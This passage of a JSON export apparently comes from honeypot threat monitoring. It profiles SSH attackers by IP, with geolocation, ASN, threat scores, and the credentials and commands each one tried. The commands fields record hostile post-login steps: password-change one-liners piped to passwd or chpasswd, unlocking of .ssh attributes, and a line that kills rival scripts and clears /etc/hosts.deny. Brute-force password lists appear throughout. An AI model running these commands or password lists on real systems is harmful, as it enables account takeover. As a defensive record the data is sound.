        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:20:08.727000+00:00",
        "last_seen_30d": "2026-03-22T12:26:17.444000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 333,
        "Suricata": 70
      }
    },
    "101.47.159.125": {
      "attack_count": 332,
      "first_seen": "2026-03-16T01:15:20.633Z",
      "last_seen": "2026-03-24T01:49:17.918Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "innova",
        "jboss",
        "zhang",
        "123",
        "abc",
        "airflow",
        "amp",
        "crawl",
        "desliga",
        "dockeruser",
        "felix",
        "hadi",
        "informix",
        "joyce",
        "jwlee",
        "krishna",
        "ks",
        "lee",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "password",
        "1qazXSW@",
        "Airflow",
        "Desliga",
        "Hadi",
        "abcpass",
        "amp@123456",
        "crawl",
        "dockeruser",
        "felixpassword",
        "innova1234",
        "jbosspass",
        "joyce@123",
        "jwlee123!",
        "krishna123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"innova1234\\n9Aa7966UWc0o\\n9Aa7966UWc0o\\n\"|passwd",
        "echo \"jbosspass\\n6U9xxbuBC8LX\\n6U9xxbuBC8LX\\n\"|passwd",
        "echo \"password\\nwOyALTa3lfYs\\nwOyALTa3lfYs\\n\"|passwd",
        "echo -e \"innova1234\\n9Aa7966UWc0o\\n9Aa7966UWc0o\"|passwd|bash",
        "echo -e \"jbosspass\\n6U9xxbuBC8LX\\n6U9xxbuBC8LX\"|passwd|bash",
        "echo -e \"password\\nwOyALTa3lfYs\\nwOyALTa3lfYs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 404,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T01:15:20.633000+00:00",
        "last_seen_30d": "2026-03-24T01:50:27.112000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 72
      }
    },
    "64.227.185.134": {
      "attack_count": 325,
      "first_seen": "2026-03-02T05:26:49.517Z",
      "last_seen": "2026-03-02T06:11:12.581Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "admin123",
        "password",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "1234567",
        "12345678",
        "123456789",
        "1234abcd",
        "123abc",
        "123qwe",
        "1q2w3e",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:26:49.517000+00:00",
        "last_seen_30d": "2026-03-02T06:12:13.270000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 325,
        "Suricata": 138
      }
    },
    "131.161.219.137": {
      "attack_count": 322,
      "first_seen": "2026-03-04T22:56:59.557Z",
      "last_seen": "2026-03-21T12:40:43.112Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pierre",
        "server2",
        "agent",
        "celery",
        "mehdi",
        "new",
        "node",
        "professor",
        "ps",
        "red",
        "remote",
        "toto",
        "vmware",
        "wang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123",
        "12345678",
        "123456@Ab",
        "123abcABC",
        "6666",
        "Ab123456+",
        "Abc@111111",
        "Bingo@1993",
        "Letmein!",
        "Li123456789",
        "Pierre",
        "Server2123!",
        "Test123!!",
        "alaska",
        "ali@123",
        "celery"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Pierre\\n8StOWn4Avsyr\\n8StOWn4Avsyr\\n\"|passwd",
        "echo \"Server2123!\\neQ77STTDHAV2\\neQ77STTDHAV2\\n\"|passwd",
        "echo -e \"Pierre\\n8StOWn4Avsyr\\n8StOWn4Avsyr\"|passwd|bash",
        "echo -e \"Server2123!\\neQ77STTDHAV2\\neQ77STTDHAV2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Almirante Tamandar\u00e9",
      "asn": 264393,
      "as_org": "NetBrasil Telecom LTDA",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 408,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:56:59.557000+00:00",
        "last_seen_30d": "2026-03-21T12:41:47.069000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 322,
        "Suricata": 86
      }
    },
    "118.193.33.228": {
      "attack_count": 312,
      "first_seen": "2026-03-08T07:48:38.772Z",
      "last_seen": "2026-03-12T23:32:07.242Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "chrome",
        "claude",
        "mitra",
        "root",
        "admin",
        "andrei",
        "assistant",
        "client",
        "def",
        "ftpuser01",
        "kali",
        "mcuser",
        "mo",
        "node",
        "pepe",
        "roman",
        "rramirez",
        "sasha",
        "simon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "123456",
        "password123",
        "!1qaz@2wsx",
        "Abc.12345",
        "Chrome123",
        "Client123!",
        "Ftpuser01123",
        "Mitra123",
        "andrei1234",
        "assistant123",
        "defpass",
        "kali1234",
        "roman123",
        "rramirezpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Chrome123\\nT3c2sGwq1SGV\\nT3c2sGwq1SGV\\n\"|passwd",
        "echo \"Mitra123\\nSpiH54Lkv2mU\\nSpiH54Lkv2mU\\n\"|passwd",
        "echo \"password\\n6xHFzAnQ3i2A\\n6xHFzAnQ3i2A\\n\"|passwd",
        "echo -e \"Chrome123\\nT3c2sGwq1SGV\\nT3c2sGwq1SGV\"|passwd|bash",
        "echo -e \"Mitra123\\nSpiH54Lkv2mU\\nSpiH54Lkv2mU\"|passwd|bash",
        "echo -e \"password\\n6xHFzAnQ3i2A\\n6xHFzAnQ3i2A\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 376,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T07:48:38.772000+00:00",
        "last_seen_30d": "2026-03-12T23:33:09.395000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 64
      }
    },
    "165.154.6.26": {
      "attack_count": 287,
      "first_seen": "2026-03-19T13:04:21.490Z",
      "last_seen": "2026-03-30T13:02:41.830Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "canal",
        "amin",
        "downloader",
        "excel",
        "gosha",
        "mohsen",
        "pablo",
        "passbolt",
        "piuser"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234Qwer",
        "1314521",
        "20240428",
        "Admin\"123",
        "Athena2025",
        "Ctyun@2025",
        "Gosha123!",
        "Huawei@5tgb",
        "No123456@",
        "Password123654",
        "Yf123456!",
        "Zxc123456789",
        "abc-123",
        "cde3CDE#",
        "charlie"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nZEGpcegI4uIv\\nZEGpcegI4uIv\\n\"|passwd",
        "echo \"root:mvb4p3pV1EK3\"|chpasswd|bash",
        "echo -e \"12345\\nZEGpcegI4uIv\\nZEGpcegI4uIv\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 46.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.7,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 370,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T13:04:21.490000+00:00",
        "last_seen_30d": "2026-03-30T13:03:42.814000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 83
      }
    },
    "103.191.14.243": {
      "attack_count": 257,
      "first_seen": "2026-03-23T13:17:10.237Z",
      "last_seen": "2026-03-23T13:39:20.185Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "rramirez",
        "terraria",
        "ve",
        "apagar",
        "comp",
        "db2inst",
        "kishore",
        "peter",
        "user01",
        "vadim"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "12345678",
        "Apagar123",
        "Comp123",
        "Db2inst123",
        "User01123!",
        "peter1234",
        "ve123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nqwHt5RGKq1u0\\nqwHt5RGKq1u0\\n\"|passwd",
        "echo \"123456\\nu207vHBXXaOx\\nu207vHBXXaOx\\n\"|passwd",
        "echo \"ve123\\n7x67oXeHuYAl\\n7x67oXeHuYAl\\n\"|passwd",
        "echo -e \"12345678\\nqwHt5RGKq1u0\\nqwHt5RGKq1u0\"|passwd|bash",
        "echo -e \"123456\\nu207vHBXXaOx\\nu207vHBXXaOx\"|passwd|bash",
        "echo -e \"ve123\\n7x67oXeHuYAl\\n7x67oXeHuYAl\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 38513,
      "as_org": "PT Aplikanusa Lintasarta",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T13:17:10.237000+00:00",
        "last_seen_30d": "2026-03-23T13:40:26.476000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "209.38.93.207": {
      "attack_count": 195,
      "first_seen": "2026-03-10T13:05:51.419Z",
      "last_seen": "2026-03-10T13:40:27.131Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator",
        "ansible",
        "apache"
      ],
      "passwords_attempted": [
        "123456",
        "letmein",
        "password",
        "qwerty",
        "P@ssw0rd",
        "passw0rd",
        "welcome",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "administrator123",
        "administrator2026",
        "ansible",
        "ansible123",
        "ansible2026",
        "apache",
        "apache123",
        "apache2026"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 279,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T13:05:51.419000+00:00",
        "last_seen_30d": "2026-03-10T13:41:31.392000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 195,
        "Suricata": 84
      }
    },
    "103.115.41.16": {
      "attack_count": 193,
      "first_seen": "2026-03-11T11:42:20.018Z",
      "last_seen": "2026-03-11T12:01:04.382Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "n8n",
        "robin",
        "kjh",
        "lzy",
        "melo",
        "recovery",
        "remote",
        "root",
        "soporte",
        "student5",
        "waf"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ1qaz",
        "1234",
        "12345",
        "P@ssw0rd123",
        "Recovery123!",
        "n8n",
        "robin123!",
        "waf123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"n8n\\nK2bvbEWXdpB2\\nK2bvbEWXdpB2\\n\"|passwd",
        "echo \"robin123!\\nq8xSnzOlyEMj\\nq8xSnzOlyEMj\\n\"|passwd",
        "echo -e \"n8n\\nK2bvbEWXdpB2\\nK2bvbEWXdpB2\"|passwd|bash",
        "echo -e \"robin123!\\nq8xSnzOlyEMj\\nq8xSnzOlyEMj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 138968,
      "as_org": "rainbow network limited",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T11:42:20.018000+00:00",
        "last_seen_30d": "2026-03-11T12:02:05.803000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "103.171.85.124": {
      "attack_count": 187,
      "first_seen": "2026-03-15T21:23:14.660Z",
      "last_seen": "2026-03-15T21:50:33.541Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rsync",
        "ernesto",
        "farmacia",
        "meng",
        "mongod",
        "noreply",
        "promo",
        "tunnel"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "Demo@123",
        "Noreply123",
        "Promo123",
        "Tunnel123",
        "mongod123!",
        "woaini1314."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nag6vvbYxqg2k\\nag6vvbYxqg2k\\n\"|passwd",
        "echo \"root:l5apnxwulbRe\"|chpasswd|bash",
        "echo -e \"12345678\\nag6vvbYxqg2k\\nag6vvbYxqg2k\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:23:14.660000+00:00",
        "last_seen_30d": "2026-03-15T21:51:35.951000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 33
      }
    },
    "143.0.180.169": {
      "attack_count": 168,
      "first_seen": "2026-03-26T19:04:08.444Z",
      "last_seen": "2026-03-26T20:54:07.298Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAZXSW@",
        "1234fdsa",
        "1475369",
        "1a2s3d4f5g6h7j8k",
        "1qaz!@#$",
        "3245gs5662d34",
        "345gs5662d34",
        "Ds123123",
        "P455w0RD",
        "Welcome2026!",
        "abcd123",
        "abcd123!@#",
        "admin12345@",
        "alex12345",
        "cloud12#$",
        "dx123",
        "jesus",
        "password12#",
        "test@2024",
        "th123!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:dw9YTnEUBADp\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bom Princ\u00edpio",
      "asn": 264007,
      "as_org": "Eletric Telecomunicacoes e Informatica LTDA ME",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:04:08.444000+00:00",
        "last_seen_30d": "2026-03-26T20:55:14.491000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 65
      }
    },
    "78.111.67.36": {
      "attack_count": 161,
      "first_seen": "2026-03-30T17:41:54.374Z",
      "last_seen": "2026-03-30T19:28:11.472Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1221",
        "1qaz2wsx+",
        "A@123456",
        "Admin@123.",
        "Bruce@123",
        "Kk.123456",
        "Mustang",
        "P@ssword.",
        "Pass123123",
        "ROOT@1234",
        "Sa123123",
        "Vilas123",
        "cm123456",
        "qweQWE!@#",
        "sm@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:HBQvmYMzxoqZ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 241,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T17:41:54.374000+00:00",
        "last_seen_30d": "2026-03-30T19:29:13.470000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 161,
        "Suricata": 80
      }
    },
    "45.120.161.254": {
      "attack_count": 136,
      "first_seen": "2026-03-03T20:16:58.998Z",
      "last_seen": "2026-03-03T20:21:29.529Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 132116,
      "as_org": "Ani Network Pvt Ltd",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 205,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
